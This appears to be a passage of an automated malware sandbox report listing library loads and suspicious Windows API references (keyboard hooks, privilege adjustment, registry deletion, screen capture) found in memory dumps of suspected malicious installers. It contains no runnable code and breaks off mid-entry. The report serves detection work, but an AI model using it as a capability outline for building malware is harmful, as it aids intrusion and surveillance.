"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00005760) "InstallSetup_four.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00008076) "InstallSetup_four.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00008076) "InstallSetup_four.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00008076) "InstallSetup_four.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00008076) "InstallSetup_four.exe" called "LoadLibrary" with a parameter msimg32.dll (UID: 00000000-00008076) "InstallSetup_four.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00008076) "InstallSetup_four.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00008076) "InstallSetup_four.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00008076) "InstallSetup_four.exe" called "LoadLibrary" with a parameter msvcr100.dll (UID: 00000000-00008076) "InstallSetup_four.exe" called "LoadLibrary" with a parameter Kernel32.dll (UID: 00000000-00008076) "InstallSetup_four.exe" called "LoadLibrary" with a parameter User32.dll (UID: 00000000-00008076) "InstallSetup_four.exe" called "LoadLibrary" with a parameter msvcrt.dll (UID: 00000000-00008076) "InstallSetup_four.exe" called "LoadLibrary" with a parameter Shell32.dll (UID: 00000000-00008076) "InstallSetup_four.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00008076) "InstallSetup_four.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00008076) "InstallSetup_four.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00008076) "InstallSetup_four.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00008076) "InstallSetup_four.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00008076) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007560) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007560) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007560) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007560) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter msimg32.dll (UID: 00000000-00007560) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007560) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter msvcr100.dll (UID: 00000000-00007560) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00007560) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00007560) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter winmm.dll (UID: 00000000-00007560) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00007560) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter powrprof.dll (UID: 00000000-00007560) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter wtsapi32.dll (UID: 00000000-00007560) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00007560) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00007560) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00007560) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00007560) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00007560) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter netapi32.dll (UID: 00000000-00007560) "EasyAppns.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001560) "EasyAppns.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001560) "EasyAppns.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001560) "EasyAppns.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001560) "EasyAppns.exe" called "LoadLibrary" with a parameter " (Indicator: "GetDC"; Source: "00000000-00004644.00000000.172374.03220000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00004644.00000000.172374.03220000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00004644.00000000.172374.03220000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00004644.00000000.172374.03220000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00004644.00000000.172374.03220000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00004644.00000000.172374.03220000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00004644.00000000.172374.03220000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00004644.00000000.172374.03220000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00005760.00000000.171650.02E50000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00005760.00000000.171650.02E50000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00005760.00000000.171650.02E50000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00005760.00000000.171650.02E50000.00000004.mdmp")6b:T7fb,Found reference to API "FindFirstFileExW" (Indicator: "FindFirstFile"; File: "00000000-00008076.00000001.173786.00400000.00000040.mdmp") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; File: "00000000-00008076.00000001.173786.00400000.00000040.mdmp") Found reference to API "FindFirstFileW" (Indicator: "FindFirstFile"; File: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "FindFirstFileExA" (Indicator: "FindFirstFile"; File: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; File: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "FindFirstFileW" (Indicator: "FindFirstFile"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "FindFirstFileExA" (Indicator: "FindFirstFile"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "11401313381,7232,3117,,FindFirstFileW,kernel32.dll,"00:44:46.421",RX=0,PX=0" (Indicator: "FindFirstFile"; Source: "00000000-00001560.00000000.171932.02FB0000.00000004.mdmp") Found reference to API "9458658102,7232,3117,,FindFirstFileW,kernel32.dll,"00:44:45.625",RX=0,PX=0" (Indicator: "FindFirstFile"; Source: "00000000-00001560.00000000.171932.055A0000.00000004.mdmp") Found reference to API "FindFirstFileW" (Indicator: "FindFirstFile"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp")6c:T1055,Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "GetCurrentProcessorNumber" (Indicator: "GetCurrentProcess"; File: "00000000-00008076.00000001.173786.00400000.00000040.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "00000000-00008076.00000001.173786.00400000.00000040.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "GetEnvironmentStrings" (Indicator: "GetEnvironmentStrings"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "Process32FirstW" (Indicator: "Process32First"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "Process32NextW" (Indicator: "Process32Next"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp, 00000000-00001560.00000000.171932.056A4000.00000004.mdmp, 00000000-00001560.00000000.171932.72907000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp, 00000000-00001560.00000000.171932.056A4000.00000004.mdmp, 00000000-00001560.00000000.171932.72907000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp, 00000000-00001560.00000000.171932.056A4000.00000004.mdmp, 00000000-00001560.00000000.171932.72907000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp, 00000000-00001560.00000000.171932.72907000.00000002.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp, 00000000-00001560.00000000.171932.056A4000.00000004.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp") Found reference to API "Process32FirstW" (Indicator: "Process32First"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp") Found reference to API "Process32NextW" (Indicator: "Process32Next"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp") Found reference to API "GetEnvironmentStrings" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp")6d:Tb4a,Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "RegOpenKeyExW" (Indicator: "RegOpenKey"; File: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "RegQueryValueExW" (Indicator: "RegQueryValue"; File: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "RegQueryInfoKeyW" (Indicator: "RegQueryInfoKey"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "RegEnumKeyExW" (Indicator: "RegEnumKey"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "RegOpenKeyEx" (Indicator: "RegOpenKey"; File: "00000000-00007668.00000000.172116.00401000.00000020.mdmp") Found reference to API "NtQueryValueKey" (Indicator: "QueryValueKey"; File: "00000000-00007224.00000000.172329.0054C000.00000040.mdmp") Found reference to API "RegEnumValueA" (Indicator: "RegEnumValue"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "RegEnumKeyExA" (Indicator: "RegEnumKey"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "RegOpenKeyExW" (Indicator: "RegOpenKey"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp, 00000000-00001560.00000000.171932.72907000.00000002.mdmp") Found reference to API "RegQueryValueExW" (Indicator: "RegQueryValue"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp, 00000000-00001560.00000000.171932.72907000.00000002.mdmp") Found reference to API "RegQueryInfoKeyW" (Indicator: "RegQueryInfoKey"; Source: "00000000-00001560.00000000.171932.72907000.00000002.mdmp") Found reference to API "RegEnumKeyExW" (Indicator: "RegEnumKey"; Source: "00000000-00001560.00000000.171932.72907000.00000002.mdmp") Found reference to API "RegGetValueW" (Indicator: "RegGetValue"; Source: "00000000-00001560.00000000.171932.72907000.00000002.mdmp") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp") Found reference to API "RegOpenKeyExW" (Indicator: "RegOpenKey"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp") Found reference to API "RegEnumKeyExW" (Indicator: "RegEnumKey"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp") Found reference to API "RegQueryInfoKeyW" (Indicator: "RegQueryInfoKey"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp")6e:T52a,Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "00000000-00008076.00000001.173786.00400000.00000040.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp, 00000000-00001560.00000000.171932.056A4000.00000004.mdmp, 00000000-00001560.00000000.171932.72907000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp, 00000000-00001560.00000000.171932.72907000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00004644.00000000.172374.00409000.00000002.mdmp")6f:Tf4d,Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "GetFileInformationByHandleEx" (Indicator: "GetFileInformationByHandle"; File: "00000000-00008076.00000001.173786.00400000.00000040.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; File: "00000000-00008076.00000001.173786.00400000.00000040.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; File: "00000000-00008076.00000001.173786.00400000.00000040.mdmp") Found reference to API "GetFileAttributesExW" (Indicator: "GetFileAttributes"; File: "00000000-00008076.00000001.173786.00400000.00000040.mdmp") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; File: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; File: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfo"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfoSize"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "GetFileVersionInfoA" (Indicator: "GetFileVersionInfo"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp, 00000000-00001560.00000000.171932.056A4000.00000004.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: "00000000-00001560.00000000.171932.056A4000.00000004.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00001560.00000000.171932.72907000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00001560.00000000.171932.72907000.00000002.mdmp") Found reference to API "GetFileVersionInfoExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00001560.00000000.171932.72907000.00000002.mdmp") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: "00000000-00004644.00000000.172374.00409000.00000002.mdmp") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; Source: "00000000-00004644.00000000.172374.00409000.00000002.mdmp")70:T611,Found reference to API "GetModuleFileNameW" (Indicator: "GetModuleFileName"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "GetModuleFileNameA" (Indicator: "GetModuleFileName"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "GetModuleFileName" (Indicator: "GetModuleFileName"; File: "00000000-00008076.00000001.173786.00400000.00000040.mdmp") Found reference to API "GetModuleFileNameW" (Indicator: "GetModuleFileName"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp, 00000000-00001560.00000000.171932.056A4000.00000004.mdmp, 00000000-00001560.00000000.171932.72907000.00000002.mdmp") Found reference to API "GetModuleFileNameA" (Indicator: "GetModuleFileName"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp, 00000000-00001560.00000000.171932.056A4000.00000004.mdmp, 00000000-00001560.00000000.171932.72907000.00000002.mdmp") Found reference to API "GetModuleFileNameW" (Indicator: "GetModuleFileName"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp") Found reference to API "GetModuleFileNameA" (Indicator: "GetModuleFileName"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp") Found reference to API "GetModuleFileNameA" (Indicator: "GetModuleFileName"; Source: "00000000-00004644.00000000.172374.00409000.00000002.mdmp") Found reference to API "GetModuleFileNameW" (Indicator: "GetModuleFileName"; Source: "00000000-00004644.00000000.172374.00409000.00000002.mdmp")71:T5fe,Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "GetUserNameA" (Indicator: "GetUserName"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; Source: "00000000-00001560.00000000.171932.056A4000.00000004.mdmp, 00000000-00001560.00000000.171932.05730000.00000004.mdmp") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; Source: "00000000-00001560.00000000.171932.056A4000.00000004.mdmp, 00000000-00001560.00000000.171932.05730000.00000004.mdmp, 00000000-00001560.00000000.171932.72907000.00000002.mdmp") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; Source: "00000000-00004644.00000000.172374.00409000.00000002.mdmp") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; Source: "00000000-00004644.00000000.172374.00409000.00000002.mdmp")72:T4ed,Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "RemoveDirectoryW" (Indicator: "RemoveDirectory"; File: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "DeleteFileW" (Indicator: "DeleteFile"; File: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "DeleteFile" (Indicator: "DeleteFile"; File: "00000000-00007668.00000000.172116.00401000.00000020.mdmp") Found reference to API "function DeleteFile(const FileName: string): Boolean;" (Indicator: "DeleteFile"; File: "00000000-00007668.00000000.172116.00401000.00000020.mdmp") Found reference to API "RemoveDirectoryW" (Indicator: "RemoveDirectory"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "DeleteFileW" (Indicator: "DeleteFile"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "DeleteFileW" (Indicator: "DeleteFile"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp")73:T578,Found reference to API "RegDeleteKeyW" (Indicator: "RegDeleteKey"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "RegDeleteValueW" (Indicator: "RegDeleteValue"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "RegDeleteKeyExA" (Indicator: "RegDeleteKey"; File: "00000000-00007668.00000000.172116.00401000.00000020.mdmp") Found reference to API "RegDeleteKeyA" (Indicator: "RegDeleteKey"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "RegDeleteValueA" (Indicator: "RegDeleteValue"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "RegDeleteKeyExW" (Indicator: "RegDeleteKey"; Source: "00000000-00001560.00000000.171932.728A1000.00000020.mdmp") Found reference to API "RegDeleteKeyW" (Indicator: "RegDeleteKey"; Source: "00000000-00001560.00000000.171932.728A1000.00000020.mdmp") Found reference to API "RegDeleteValueW" (Indicator: "RegDeleteValue"; Source: "00000000-00001560.00000000.171932.72907000.00000002.mdmp") Found reference to API "RegDeleteKeyW" (Indicator: "RegDeleteKey"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp") Found reference to API "RegDeleteValueW" (Indicator: "RegDeleteValue"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp")74:T47c,Found reference to API "CallNextHookEx" (Indicator: "CallNextHook"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "SetWindowsHookExA" (Indicator: "SetWindowsHook"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "UnhookWindowsHookEx" (Indicator: "UnhookWindowsHook"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "SetWindowsHookExW" (Indicator: "SetWindowsHook"; Source: "00000000-00001560.00000000.171932.72907000.00000002.mdmp") Found reference to API "UnhookWindowsHookEx" (Indicator: "UnhookWindowsHook"; Source: "00000000-00001560.00000000.171932.72907000.00000002.mdmp") Found reference to API "CallNextHookEx" (Indicator: "CallNextHook"; Source: "00000000-00001560.00000000.171932.72907000.00000002.mdmp") Found reference to API "SetWinEventHook" (Indicator: "SetWinEventHook"; Source: "00000000-00001560.00000000.171932.72907000.00000002.mdmp") Found reference to API "UnhookWinEvent" (Indicator: "UnhookWinEvent"; Source: "00000000-00001560.00000000.171932.72907000.00000002.mdmp")75:T4c1,Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "LookupPrivilegeValueW" (Indicator: "LookupPrivilegeValue"; File: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; File: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; File: "00000000-00007680.00000000.171970.00401000.00000020.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "LookupPrivilegeValueW" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp")76:Tb64,Found reference to API "GetPrivateObjectSecurity" (Indicator: "GetPrivateObjectSecurity"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "SetFileSecurityW" (Indicator: "SetFileSecurityW"; File: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; File: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; File: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; File: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "CopySid" (Indicator: "CopySid"; File: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "InitializeSecurityDescriptor" (Indicator: "InitializeSecurityDescriptor"; File: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "SetSecurityDescriptorDacl" (Indicator: "SetSecurityDescriptorDacl"; File: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "SetEntriesInAclW" (Indicator: "SetEntriesInAcl"; File: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "EqualSid" 